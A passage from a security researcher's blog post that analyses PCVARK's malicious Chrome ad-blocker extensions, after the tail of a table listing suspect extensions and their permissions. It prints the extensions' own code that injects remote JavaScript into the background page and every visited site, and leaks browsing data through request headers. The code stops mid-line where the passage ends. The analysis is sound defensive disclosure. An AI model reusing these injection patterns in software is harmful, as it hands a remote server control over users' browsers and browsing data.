websites<br>downloads<br>webRequest<br>unsafe-eval</td> </tr> <tr> <td>Video Downloader Unlimited</td> <td style="text-align:right">716,091</td> <td>mkjjckchdfhjbpckippbnipkdnlidbeb</td> <td>All websites<br>downloads<br>webRequest</td> </tr> <tr> <td>Video Downloader by 1qvid</td> <td style="text-align:right">986,983</td> <td>mldaiedoebimcgkokmknonjefkionldi</td> <td>All websites<br>downloads<br>webRequest</td> </tr> <tr> <td>Chatgpt friend</td> <td style="text-align:right">565,345</td> <td>mlkjjjmhjijlmafgjlpkiobpdocdbncj</td> <td>webRequest</td> </tr> <tr> <td>Picture-in-Picture - floating video</td> <td style="text-align:right">794,535</td> <td>mndiaaeaiclnmjcnacogaacoejchdclp</td> <td>All websites<br>unsafe-eval</td> </tr> <tr> <td>Translator uLanguage - Translate, Dictionary</td> <td style="text-align:right">709,192</td> <td>mnlohknjofogcljbcknkakphddjpijak</td> <td>All websites<br>tabs</td> </tr> <tr> <td>VPN Surf - Fast VPN by unblock</td> <td style="text-align:right">443,066</td> <td>nhnfcgpcbfclhfafjlooihdfghaeinfc</td> <td>All websites<br>proxy<br>webRequest</td> </tr> <tr> <td>ChatGPT for Chrome - search GPT</td> <td style="text-align:right">1,057,279</td> <td>ninecedhhpccjifamhafbdelibdjibgd</td> <td><em>None</em></td> </tr> <tr> <td>Sound Booster - increase volume up</td> <td style="text-align:right">752,471</td> <td>nmigaijibiabddkkmjhlehchpmgbokfj</td> <td>All websites<br>tabCapture<br>tabs</td> </tr> <tr> <td>Text Reader (Text to Speech) TTS by Read me</td> <td style="text-align:right">312,121</td> <td>npdkkcjlmhcnnaoobfdjndibfkkhhdfn</td> <td>All websites<br>webRequest</td> </tr> <tr> <td>uTab - Unlimited Custom Dashboard</td> <td style="text-align:right">234,918</td> <td>npmjjkphdlmbeidbdbfefgedondknlaf</td> <td>All websites<br>bookmarks</td> </tr> <tr> <td>Flash Player Update</td> <td style="text-align:right">497,248</td> <td>oakbcaafbicdddpdlhbchhpblmhefngh</td> <td>All websites<br>unsafe-eval</td> </tr> <tr> <td>Web paint tool by Painty</td> <td style="text-align:right">432,129</td> <td>obdhcplpbliifflekgclobogbdliddjd</td> <td>All websites<br>tabs<br>topSites</td> </tr> <tr> <td>Night Shift</td> <td style="text-align:right">213,620</td> <td>ocginjipilabheemhfbedijlhajbcabh</td> <td>All websites</td> </tr> <tr> <td>Editing for Docs, Sheets &amp; Slides</td> <td style="text-align:right">167,677</td> <td>oepjogknopbbibcjcojmedaepolkghpb</td> <td>All websites<br>webRequest<br>unsafe-eval</td> </tr> <tr> <td>Accept all cookies</td> <td style="text-align:right">292,192</td> <td>ofpnikijgfhlmmjlpkfaifhhdonchhoi</td> <td>All websites<br>webRequest</td> </tr> <tr> <td>VolumeUp - Sound booster</td> <td style="text-align:right">731,585</td> <td>ogadflejmplcdhcldlloonbiekhnlopp</td> <td>All websites<br>tabCapture<br>tabs</td> </tr> <tr> <td>The cleaner - delete cookies and cache</td> <td style="text-align:right">133,968</td> <td>ogfjgagnmkiigilnoiabkbbajinanlbn</td> <td>All websites<br>cookies<br>tabs<br>webRequest</td> </tr> <tr> <td>Screenshot &amp; Screen Recorder</td> <td style="text-align:right">288,528</td> <td>okkffdhbfplmbjblhgapnchjinanmnij</td> <td>All websites<br>downloads<br>tabCapture<br>tabs<br>webRequest</td> </tr> <tr> <td>All Doodle games</td> <td style="text-align:right">134,820</td> <td>oodkhhminilgphkdofffddlgopkgbgpm</td> <td>All websites</td> </tr> <tr> <td>Super Mario Bros Game</td> <td style="text-align:right">163,597</td> <td>pegfdldddiilihjahcpdehhhfcbibipg</td> <td>All websites<br>declarativeNetRequest</td> </tr> <tr> <td>Custom Cursor for Chrome</td> <td style="text-align:right">785,639</td> <td>phfkifnjcmdcmljnnablahicoabkokbg</td> <td>All websites<br>tabs</td> </tr> <tr> <td>Text mode for websites - Readbee</td> <td style="text-align:right">451,865</td> <td>phjbepamfhjgjdgmbhmfflhnlohldchb</td> <td>All websites</td> </tr> <tr> <td>Dark Mode - Dark Reader for Сhrome</td> <td style="text-align:right">4,557,935</td> <td>pjbgfifennfhnbkhoidkdchbflppjncb</td> <td>All websites<br>tabs<br>webRequest</td> </tr> <tr> <td>Sound Booster - Boost My Bass</td> <td style="text-align:right">124,554</td> <td>plmlopfeeobajiecodiggabcihohcnge</td> <td>All websites<br>tabCapture<br>tabs</td> </tr> <tr> <td>Sound Booster</td> <td style="text-align:right">144,170</td> <td>pmilcmjbofinpnbnpanpdadijibcgifc</td> <td>All websites<br>tabCapture<br>tabs</td> </tr> <tr> <td>Screen Capture - Screenshot Tool</td> <td style="text-align:right">748,022</td> <td>pmnphobdokkajkpbkajlaiooipfcpgio</td> <td>All websites<br>downloads<br>tabs<br>unsafe-eval</td> </tr> <tr> <td>Picture-in-Picture - floating video</td> <td style="text-align:right">706,151</td> <td>pnanegnllonoiklmmlegcaajoicfifcm</td> <td>All websites<br>tabs<br>unsafe-eval</td> </tr> <tr> <td>Save quickly and repost</td> <td style="text-align:right">918,667</td> <td>pnlphjjfielecalmmjjdhjjninkbjdod</td> <td>All websites<br>cookies<br>downloads<br>tabs<br>webRequest</td> </tr> <tr> <td>History &amp; Cache Cleaner - Smart Clean</td> <td style="text-align:right">277,722</td> <td>pooaemmkohlphkekccfajnbcokjlbehk</td> <td>All websites<br>cookies<br>tabs<br>webRequest</td> </tr> </tbody> </table> Introducing PCVARK and their malicious ad blockers https://palant.info/2023/06/05/introducing-pcvark-and-their-malicious-ad-blockers/ Mon, 05 Jun 2023 14:04:38 +0200 https://palant.info/2023/06/05/introducing-pcvark-and-their-malicious-ad-blockers/ <p>It isn’t news that the overwhelming majority of ad blockers in Chrome Web Store is either outright malicious or <a href="https://palant.info/2018/04/18/the-ticking-time-bomb-fake-ad-blockers-in-chrome-web-store/">waiting to accumulate users before turning malicious</a>. So it wasn’t a surprise that the very first ad blocker I chose semi-randomly (Adblock Web with 700,000 users) turned out malicious. Starting from it, I found another malicious extension (Ad-Blocker, 700,000 users) and two more that have been removed from Chrome Web Store a year ago (BitSafe Adblocker and Adblocker Unlimited).</p> <figure><img src="https://palant.info/2023/06/05/introducing-pcvark-and-their-malicious-ad-blockers/listing.png" class="article-image" alt="Chrome Web Store extension listing, in the middle is the entry titled “Adblock Web - Adblocker for Chrome” with the description text “Get rid of any intrusive ads easily and make your web cleaner!”" width="600" height="337" /></figure> <p>All these ad blockers and probably some more were developed by the company PCVARK. According to Malwarebytes Labs, this company <a href="https://www.malwarebytes.com/blog/news/2016/08/pcvark-plays-dirty">specializes in developing “potentially unwanted programs.”</a> In other words: they show users warnings about alleged compromise, only to push them into installing their software. Once installed, this software will attempt to scare the user into installing more crappy applications and into paying money for fixing the supposed issue.</p> <p>While PCVARK originally specialized in Mac software, they apparently also discovered pushing malicious ad blockers to Chrome Web Store as a valuable business opportunity. This was encouraged by Google’s lax moderation policies as well an almost complete lack of policy enforcement. While Google eventually managed to remove some extensions, at least two remain despite being obviously related to the removed ones.</p> <p><strong>Update</strong> (2023-06-12): The complete list of extension IDs from this article series can be found <a href="https://github.com/palant/malicious-extensions-list/blob/main/list.txt">here</a>. This repository also contains the <a href="https://github.com/palant/malicious-extensions-list/releases">check-extensions command-line utility</a> which will search local browser profiles for these extensions.</p> <div id="tocBox"> <h4>Contents</h4> <nav id="TableOfContents"> <ul> <li><a href="https://palant.info/2023/06/05/introducing-pcvark-and-their-malicious-ad-blockers/#who-is-pcvark">Who is PCVARK?</a></li> <li><a href="https://palant.info/2023/06/05/introducing-pcvark-and-their-malicious-ad-blockers/#why-are-there-so-many-malicious-ad-blockers">Why are there so many malicious ad blockers?</a></li> <li><a href="https://palant.info/2023/06/05/introducing-pcvark-and-their-malicious-ad-blockers/#showcasing-ad-blocker">Showcasing Ad-Blocker</a> <ul> <li><a href="https://palant.info/2023/06/05/introducing-pcvark-and-their-malicious-ad-blockers/#the-exclusion-list">The exclusion list</a></li> <li><a href="https://palant.info/2023/06/05/introducing-pcvark-and-their-malicious-ad-blockers/#giving-a-remote-server-full-control-over-the-extension">Giving a remote server full control over the extension</a></li> <li><a href="https://palant.info/2023/06/05/introducing-pcvark-and-their-malicious-ad-blockers/#giving-a-remote-server-full-control-over-visited-websites">Giving a remote server full control over visited websites</a></li> <li><a href="https://palant.info/2023/06/05/introducing-pcvark-and-their-malicious-ad-blockers/#the-neg-bar">The “neg bar”</a></li> <li><a href="https://palant.info/2023/06/05/introducing-pcvark-and-their-malicious-ad-blockers/#the-privacy-policy">The “privacy policy”</a></li> </ul> </li> <li><a href="https://palant.info/2023/06/05/introducing-pcvark-and-their-malicious-ad-blockers/#showcasing-adblock-web">Showcasing Adblock Web</a> <ul> <li><a href="https://palant.info/2023/06/05/introducing-pcvark-and-their-malicious-ad-blockers/#giving-a-remote-server-full-control-over-visited-websites-1">Giving a remote server full control over visited websites</a></li> <li><a href="https://palant.info/2023/06/05/introducing-pcvark-and-their-malicious-ad-blockers/#extracting-user-s-browsing-history">Extracting user’s browsing history</a></li> <li><a href="https://palant.info/2023/06/05/introducing-pcvark-and-their-malicious-ad-blockers/#the-privacy-policy-1">The privacy policy</a></li> </ul> </li> <li><a href="https://palant.info/2023/06/05/introducing-pcvark-and-their-malicious-ad-blockers/#conclusions">Conclusions</a></li> </ul> </nav> </div> <h2 id="who-is-pcvark">Who is PCVARK?</h2> <p>If you open PCVARK website today, you will see offers for Android applications: MobiClean, which supposedly makes your phone faster, and VOOHOO live, a conferencing platform. The former has already been removed from Play Store. And if I were you, I definitely wouldn’t install the latter.</p> <p>Back in the day, PCVARK was a notorious distributor of dubious Mac software. Their “Mac File Opener” is <a href="https://www.malwarebytes.com/blog/news/2016/08/pcvark-plays-dirty">discussed extensively in a Malwarebytes Labs article</a>, with the conclusion that it should be classified as malware. It was one of the ways in which users were scammed into installing other PCVARK applications.</p> <p>One such application is <a href="https://www.malwarebytes.com/blog/detections/pup-advanced-mac-cleaner">described by Malwarebytes as follows</a>:</p> <blockquote> <p>PUP.Advanced Mac Cleaner is a system optimizer. These so-called &ldquo;system optimizers&rdquo; use intentional false positives to convince users that their systems have problems. Then they try to sell you their software, claiming it will remove these problems.</p> </blockquote> <p>If you look at an <a href="https://web.archive.org/web/20170726181938/http://pcvark.com/?override=1">archived version of their website</a> however, by 2017 PCVARK already switched to promoting their Ad-Blocker browser extension prominently on their website. So one can be certain that this extension became a major contributing factor to the company’s revenue. All the more surprising is the fact that Google will still distribute it in the Chrome Web Store.</p> <h2 id="why-are-there-so-many-malicious-ad-blockers">Why are there so many malicious ad blockers?</h2> <p>If you search for an ad blocker in Chrome Web Store, you will find literally hundreds of browser extensions. Very few of those are legitimate, to my knowledge: AdBlock, Adblock Plus, AdGuard, uBlock, uBlock Origin. The rest of them typically attempt to attract users with misleadingly similar names and logos. Quite a few were already discovered to be malicious <a href="https://adguard.com/en/blog/over-20-000-000-of-chrome-users-are-victims-of-fake-ad-blockers.html">[1]</a> <a href="https://palant.info/2023/05/31/more-malicious-extensions-in-chrome-web-store/">[2]</a></sup>, others will likely <a href="https://palant.info/2018/04/18/the-ticking-time-bomb-fake-ad-blockers-in-chrome-web-store/">turn malicious once a sufficient user count is reached</a>.</p> <p>There is a number of factors contributing to this proliferation of malicious ad blockers:</p> <ul> <li>Ad blockers are an immensely popular browser extension category, with lots of users wanting to install one.</li> <li>There is already considerable confusion about the “right” ad blocker, even if you look only at the legitimate ones: is it AdBlock or Adblock Plus? uBlock or uBlock Origin?</li> <li>With Adblock Plus, AdGuard and uBlock Origin, there are three high quality open source products than anyone can easily copy to create “their” ad blocker.</li> <li>Ad blockers require access to every website in order to do their job, so they will necessarily have wide-reaching privileges. That’s ideal if one wants to abuse privileges.</li> <li>Google has traditionally refused to moderate extensions that attempt to hijack the popularity of established brands, taking years to remove even cases of outright trademark violations.</li> <li>Google has also been very reluctant to enforce their policies against malicious extensions. Even if a report were acted upon, Google would never search for similar malicious extensions on their own.</li> </ul> <p>Google certainly is aware of this. And if security of their users were a priority, they would be keeping a close eye on these ad blockers. The fact that the Ad-Blocker extension could stay in the Chrome Web Store for more than five years while being very obviously malicious has two possible explanations. Either Google simply doesn’t care, or Chrome Web Store is so understaffed that not even the obvious cases can be caught.</p> <h2 id="showcasing-ad-blocker">Showcasing Ad-Blocker</h2> <p>This will get technical now. If that’s not what you are looking for, feel free to jump straight to <a href="https://palant.info/2023/06/05/introducing-pcvark-and-their-malicious-ad-blockers/#conclusions">conclusions</a>.</p> <p>Like all ad blockers produced by PCVARK, Ad-Blocker is based on an ancient version of Adblock Plus code, pulled somewhere around 2016. With its latest release being already five years old, it is also very close to the original Adblock Plus code. And it isn’t exactly subtle about what it is up to. The additions to the Adblock Plus code stick out, and there is no obfuscation – the code hasn’t even been minified. Even some code comments in Hindi are still there.</p> <h3 id="the-exclusion-list">The exclusion list</h3> <p>The extension contains a hardcoded “exclusion list” which it will update regularly by downloading <code>http://pro.ad-blocker.org/Json/ExclusionList.txt</code>. This list currently contains 1647 domains.</p> <figure><img src="https://palant.info/2023/06/05/introducing-pcvark-and-their-malicious-ad-blockers/exclusionlist.png" class="article-image" alt="A huge list with domain names like securepcutils.com, winpcbooster.com or syscleantools.com" width="600" height="337" /></figure> <p>Most of these domains are no longer active. Judging by the names however, these domains used to promote PCVARK’s applications.</p> <p>Obviously, PCVARK wouldn’t want to block any ads on these websites. So their ad blocker extensions disable themselves on those, without any way for the user to override that.</p> <h3 id="giving-a-remote-server-full-control-over-the-extension">Giving a remote server full control over the extension</h3> <p>Normally, extension pages can only run code contained within the extension itself. This is ensured by the <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_Security_Policy#default_content_security_policy">default Content Security Policy</a> applying to these pages.</p> <p>Extensions can choose to relax this protection however. As does the Ad-Blocker extension:</p> <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-json" data-lang="json"><span class="line"><span class="cl"><span class="s2">&#34;content_security_policy&#34;</span><span class="err">:</span> <span class="s2">&#34;script-src &#39;self&#39; https://negbar.ad-blocker.org/ </span></span></span><span class="line"><span class="cl"><span class="s2"> https://ssl.google-analytics.com; object-src &#39;self&#39;&#34;</span><span class="err">,</span> </span></span></code></pre></div><p>This loophole is used by a script called <code>GlobalNotifierStats.js</code> which is part of the extension’s background page:</p> <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="cl"><span class="kd">var</span> <span class="nx">mf</span> <span class="o">=</span> <span class="nb">document</span><span class="p">.</span><span class="nx">createElement</span><span class="p">(</span><span class="s2">&#34;script&#34;</span><span class="p">);</span> </span></span><span class="line"><span class="cl"><span class="c1">//mf.type = &#34;text/javascript&#34;; </span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">mf</span><span class="p">.</span><span class="kr">async</span> <span class="o">=</span> <span class="kc">true</span><span class="p">;</span> </span></span><span class="line"><span class="cl"><span class="nx">mf</span><span class="p">.</span><span class="nx">src</span> <span class="o">=</span> <span class="s2">&#34;https://negbar.ad-blocker.org/chrome/adblocker-chromeimportstats.js&#34;</span><span class="p">;</span> </span></span><span class="line"><span class="cl"><span class="nb">document</span><span class="p">.</span><span class="nx">getElementsByTagName</span><span class="p">(</span><span class="s2">&#34;head&#34;</span><span class="p">)[</span><span class="mi">0</span><span class="p">].</span><span class="nx">appendChild</span><span class="p">(</span><span class="nx">mf</span><span class="p">);</span> </span></span></code></pre></div><p>So this loads the script <code>https://negbar.ad-blocker.org/chrome/adblocker-chromeimportstats.js</code> into the extension’s background page, essentially giving it access to all the extension privileges. For reference: the extension has access to each an every website, it can potentially watch over your shoulder as you browse the web, steal information as you enter it or modify website responses in any way it likes.</p> <p>At the moment, this remote script will merely load Google Analytics for me. It can change any moment however, for all extension users or only the selected few. Which is why <a href="https://developer.chrome.com/docs/webstore/cws-dashboard-privacy/#declare-any-remote-code">Chrome Web Store policy</a> says:</p> <blockquote> <p>Your extension should avoid using remote code except where absolutely necessary.</p> </blockquote> <p>Well, using Google Analytics can definitely be done without using remote code, in particular without using code from the extensions’s web server as an intermediate.</p> <p>The policy further says:</p> <blockquote> <p>Remote Code: Use this field to tell reviewers whether your extension executes remote code and, if so, why this is necessary.</p> </blockquote> <p>I wonder whether the developers of Ad-Blocker declared using remote code and, if they did, how they justified that. No, I don’t think they did.</p> <p>The policy also says:</p> <blockquote> <p>Extensions that use remote code will need extra scrutiny, resulting in longer review times.</p> </blockquote> <p>No, I sincerely doubt that any amount of scrutiny was ever spent on this extension. As I said, it isn’t exactly subtle about what it does.</p> <h3 id="giving-a-remote-server-full-control-over-visited-websites">Giving a remote server full control over visited websites</h3> <p>The extension also has a very similar script called <code>GlobalInjectJS.js</code> which runs as a content script in each visited web page:</p> <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="cl"><span class="kd">var</span> <span class="nx">mf</span> <span class="o">=</span> <span class="nb">document</span><span class="p">.</span><span class="nx">createElement</span><span class="p">(</span><span class="s2">&#34;script&#34;</span><span class="p">);</span> </span></span><span class="line"><span class="cl"><span class="c1">//mf.type = &#34;text/javascript&#34;; </span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">mf</span><span class="p">.</span><span class="kr">async</span> <span class="o">=</span> <span class="kc">true</span><span class="p">;</span> </span></span><span class="line"><span class="cl"><span class="nx">mf</span><span class="p">.</span><span class="nx">src</span> <span class="o">=</span> <span class="s2">&#34;https://negbar.ad-blocker.org/chrome/adblocker-chromeglobalinjectjs.js&#34;</span><span class="p">;</span> </span></span><span class="line"><span class="cl"><span class="nb">document</span><span class="p">.</span><span class="nx">getElementsByTagName</span><span class="p">(</span><span class="s2">&#34;head&#34;</span><span class="p">)[</span><span class="mi">0</span><span class="p">].</span><span class="nx">appendChild</span><span class="p">(</span><span class="nx">mf</span><span class="p">);</span> </span></span></code></pre></div><p>So this loads the script <code>https://negbar.ad-blocker.org/chrome/adblocker-chromeglobalinjectjs.js</code> into each website you visit. Currently, this script is empty for me. But even this way, the <code>Referer</code> HTTP header sent along with the script request tells the server which website the user visited. So the <code>negbar.ad-blocker.org</code> web server can collect users’ browsing profiles just nicely.</p> <p>Of course, it’s the same here: this script doesn’t have to stay empty. In fact, this functionality certainly wasn’t added only to load an empty script. It can start serving some malicious code any time, for all extension users or only the selected few.</p> <h3 id="the-neg-bar">The “neg bar”</h3> <p>Are you also wondering what <code>negbar</code> in the server’s name stands for? It seems to be misspelled, as an object in the extension’s source code called <code>showNag</code> shows. So this is actually about nagging the user. Nagging with what?</p> <p>This functionality is contained in another content script called <code>showNeg.js</code>. It downloads some data from <code>https://negbar.ad-blocker.org/chrome/adblocker-chrome-shownegJson.txt</code>. And then it uses a number of factors to decide whether it should display the frame indicated in this data to the user. The factors include not showing the message more than once per day and not injecting it into the extension’s own pages.</p> <p>Now the data is currently empty for me (something that can obviously change any time). Luckily, the developers left an unused <code>showNeg()</code> function in the code, featuring two default addresses for that “nag frame”: <code>https://adblocker.pcvark.com/downloadProduct.html</code> and <code>https://apmserv.pcvark.com/apm_html/v1_1/detectuserapm.html</code>. The latter even still exists on the web:</p> <figure><img src="https://palant.info/2023/06/05/introducing-pcvark-and-their-malicious-ad-blockers/nagbar.png" class="article-image" alt="A message saying: Should Advanced Password Manager remember this password? Next to it two buttons: Save Site and Not Now." width="645" height="33" /></figure> <p>Internet Archive shows that the former page was similar. The message however was: “Your identity is at risk. Download Advanced Password Manager to start safeguarding your identity.” The “Protect now” button would then start downloading a Windows executable.</p> <p>Various websites describe Advanced Password Manager as “potentially unwanted software” that is being distributed via deceptive methods. <a href="https://www.viruspup.com/rogue/remove-advanced-password-manager.html">This article</a> goes into more detail: once installed, Advanced Password Manager will perform a scan of the computer and “find” various identity traces. It will then urge you to purchase a premium license in order to remove them. This application is also reported to hijack browser settings such as home and new tab pages as well as the search engine.</p> <h3 id="the-privacy-policy">The “privacy policy”</h3> <p>While Chrome Web Store usually requires extension developers to disclose information about their privacy practices (whether truthful or not), Ad-Blocker somehow got away without providing this information. There is only a link to a privacy policy, and it better be a good one given the level of access this extension gives its web server. Here it comes:</p> <figure><img src="https://palant.info/2023/06/05/introducing-pcvark-and-their-malicious-ad-blockers/privacy_policy.png" class="article-image" alt="A white page saying “Not Found.”" width="355" height="173" /></figure> <p>Yes, that privacy policy page is gone. The Internet Archive has <a href="http://web.archive.org/web/20221129233440/https://ad-blocker.org/privacypolicy">a copy of it</a> however. If you look through it, there is some information about the data collected by the website. It also says about the extension:</p> <blockquote> <p>It has been built on AdBlock Plus open source code and it maintains GPLv3 terms and conditions.</p> </blockquote> <p>Spoiler: No, it does not comply with GPLv3 terms and conditions. For that it would need to at least publish the extension’s source code.</p> <p>It also explains at great length how Ad-Blocker (meaning: PCVARK) is not liable for any damages it might cause. Only one thing is missing: what data the extension collects and how that data is used.</p> <p>If you go to an older version of the privacy policy from 2019, there is one more paragraph:</p> <blockquote> <p>If you add filter subscriptions to your Ad-Blocker installation, the subscription will be requested to regularly retrieve updates. Every update results in the hosting website receiving your IP address as well as some general information like your Ad-Blocker version, browser and browser version. This data is subject to the privacy policy of the website in question.</p> </blockquote> <p>That’s a verbatim copy from the Adblock Plus privacy policy. Yet Ad-Blocker is way more privacy-intrusive, and none of its data collection is explained. In fact, even that one small paragraph was apparently too much for PCVARK, so it got removed.</p> <h2 id="showcasing-adblock-web">Showcasing Adblock Web</h2> <p>Unlike Ad-Blocker, Adblock Web is comparably recent with the latest release in December 2022. Its code is minified and further removed from the original Adblock Plus. One can see some effort to develop useful site blocking functionality on top of the original. I don’t want to comment on the quality of that implementation, so let’s just say: there are security vulnerabilities.</p> <p>There is still the same exclusion list however: 1647 PCVARK-owned domains where ads should never be blocked. And while the extension is supposedly being published by “uadblock Inc,” plenty of code details give it away as another PCVARK product.</p> <p>More than that: the websites used by the extension show that it is related to BitSafe Adblocker and Adblocker Unlimited. Both extensions were removed from Chrome Web Store a year ago (March and April 2022 respectively), their code closely resembled Adblock Web.</p> <p>Now one could expect that PCVARK published Adblock Web as a replacement for the extensions that were taken down by Google. This doesn’t appear to be the case however. The Adblock Web extension existed since at least 2021, so it was already in the Chrome Web Store when the takedown happened. There is exactly one explanation how Google could have missed Adblock Web when they took down the other extensions: they didn’t even look.</p> <h3 id="giving-a-remote-server-full-control-over-visited-websites-1">Giving a remote server full control over visited websites</h3> <p>Compared to Ad-Blocker, Adblock Web is rather subtle about its malicious functionality. It no longer relaxes the <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_Security_Policy#default_content_security_policy">default Content Security Policy</a> to load remote code into the extension, this would have been too suspicious. But it still has the capability to inject arbitrary JavaScript code into any website you visit.</p> <p>For that it loads its configuration from <code>https://adblock-unlim.com/api/custom-rules/</code>. If you think that “loads” here means <code>XMLHttpRequest</code> or something similar: no, that’s not it. It loads the page in a frame, sends it a message and parses the response as JSON. I can only imagine one reason for this complicated approach: if someone were to open this address in the browser manually, they would only see an unsuspicious blank page.</p> <p>A content script in the extension then contains the following code working with this configuration (unminified and minimally simplified here):</p> <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="cl"><span class="nx">ext</span><span class="p">.</span><span class="nx">backgroundPage</span><span class="p">.</span><span class="nx">sendMessage</span><span class="p">({</span> <span class="nx">action</span><span class="o">:</span> <span class="s2">&#34;get_qa_rules&#34;</span> <span class="p">},</span> <span class="kd">function</span> <span class="p">(</span><span class="nx">config</span><span class="p">)</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="kd">var</span> <span class="nx">dummy</span> <span class="o">=</span> <span class="kc">null</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="kd">var</span> <span class="nx">url</span> <span class="o">=</span> <span class="s2">&#34;https://adblock-unlim.com/qa_metric/?type=fail&amp;fr=&#34;</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="kd">var</span> <span class="nx">dummy2</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="kr">const</span> <span class="nx">fallbackUrl</span> <span class="o">=</span> <span class="nx">chrome</span><span class="p">.</span><span class="nx">runtime</span><span class="p">.</span><span class="nx">getURL</span><span class="p">(</span><span class="s2">&#34;/libs/qa-params-v1.0.1.min.js&#34;</span><span class="p">);</span> </span></span><span class="line"><span class="cl"> <span class="k">try</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nx">config</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="k">return</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nx">config</span><span class="p">.</span><span class="nx">traceUrl</span> <span class="o">||</span> <span class="o">!</span><span class="nx">config</span><span class="p">.</span><span class="nx">extStat</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="k">return</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">if</span> <span class="p">(</span><span class="nx">config</span><span class="p">.</span><span class="nx">rAllow</span> <span class="o">&amp;&amp;</span> </span></span><span class="line"><span class="cl"> <span class="o">!</span><span class="k">new</span> <span class="nb">RegExp</span><span class="p">(</span><span class="nx">config</span><span class="p">.</span><span class="nx">rAllow</span><span class="p">[</span><span class="mi">0</span><span class="p">],</span> <span class="nx">config</span><span class="p">.</span><span class="nx">rAllow</span><span class="p">[</span><span class="mi">1</span><span class="p">]).</span><span class="nx">test</span><span class="p">(</span><span class="nx">location</span><span class="p">.</span><span class="nx">href</span><span class="p">))</span> </span></span><span class="line"><span class="cl"> <span class="k">return</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">if</span> <span class="p">(</span><span class="nx">config</span><span class="p">.</span><span class="nx">rDeny</span><span class="p">)</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">if</span> <span class="p">(</span><span class="k">new</span> <span class="nb">RegExp</span><span class="p">(</span><span class="nx">config</span><span class="p">.</span><span class="nx">rDeny</span><span class="p">[</span><span class="mi">0</span><span class="p">],</span> <span class="nx">config</span><span class="p">.</span><span class="nx">rDeny</span><span class="p">[</span><span class="mi">1</span><span class="p">]).</span><span class="nx">test</span><span class="p">(</span><span class="nx">location</span><span class="p">.</span><span class="nx">href</span><span class="p">))</span> </span></span><span class="line"><span class="cl"> <span class="k">return</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="nx">url</span> <span class="o">=</span> <span class="s2">&#34;&#34;</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">if</span> <span class="p">(</span><span class="nx">config</span> <span class="o">&amp;&amp;</span> <span class="nx">config</span><span class="p">.</span><span class="nx">qaParams</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="nx">url</span> <span class="o">=</span> <span class="nx">config</span><span class="p">.</span><span class="nx">qaParams</span><span class="p">.</span><span class="nx">failPrefix</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="p">}</span> </span></span><span class="line"><span class="cl"> <span class="kd">var</span> <span class="nx">now</span> <span class="o">=</span> <span class="nx">performance</span><span class="p">.</span><span class="nx">now</span><span class="p">();</span> </span></span><span class="line"><span class="cl"> <span class="nx">config</span><span class="p">.</span><span class="nx">traceUrl</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="kd">var</span> <span class="nx">script</span> <span class="o">=</span> <span class="nb">document</span><span class="p">.</span><span class="nx">createElement</span><span class="p">(</span><span class="s2">&#34;script&#34;</span><span class="p">);</span> </span></span><span class="line"><span class="cl"> <span class="nx">script</span><span class="p">.</span><span class="nx">type</span> <span class="o">=</span> <span class="s2">&#34;text/javascript&#34;</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="nx">script</span><span class="p">.</span><span class="kr">async</span> <span class="o">=</span> <span class="kc">true</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="nx">script</span><span class="p">.</span><span class="nx">src</span> <span class="o">=</span> <span class="nx">url</span> <span class="o">?</span> </span></span><span class="line"><span class="cl"> <span class="nx">url</span> <span class="o">+</span> <span class="s2">&#34;?fr=&#34;</span> <span class="o">+</span> <span class="nx">dummy</span> <span class="o">:</span> </span></span><span class="line"><span class="cl"> <span class="p">(</span><span class="nx">fallbackUrl</span><span class="p">.</span><span class="nx">match</span><span class="p">(</span><span class="sr">/^\/\//</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="nx">e</span><span class="p">.</span><span class="nx">location</span><span class="p">.</span><span class="nx">protocol</span><span class="p">,</span> <span class="nx">fallbackUrl</span><span class="p">);</span> </span></span><span class="line"><span class="cl"> <span class="nb">document</span><span class="p">.</span><span class="nx">body</span><span class="p">.</span><span class="nx">appendChild</span><span class="p">(</span><span class="nx">script</span><span class="p">);</span> </span></span><span class="line"><span class="cl"> <span class="p">}</span> </span></span><span class="line"><span class="cl"> <span class="k">catch</span> <span class="p">(</span><span class="nx">error</span><span class="p">)</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">if</span> <span class="p">(</span><span class="nx">url</span><span class="p">.</span><span class="nx">match</span><span class="p">(</span><span class="s2">&#34;^https?://&#34;</span><span class="p">))</span> </span></span><span class="line"><span class="cl"> <span class="nx">fetch</span><span class="p">(</span><span class="nx">url</span> <span class="o">+</span> <span class="s2">&#34;?ts=&#34;</span> <span class="o">+</span> <span class="nx">now</span> <span class="o">+</span> <span class="s2">&#34;&amp;te=&#34;</span> <span class="o">+</span> <span class="nx">dummy2</span> <span class="o">+</span> <span class="s2">&#34;&amp;ts=&#34;</span> <span class="o">+</span> <span 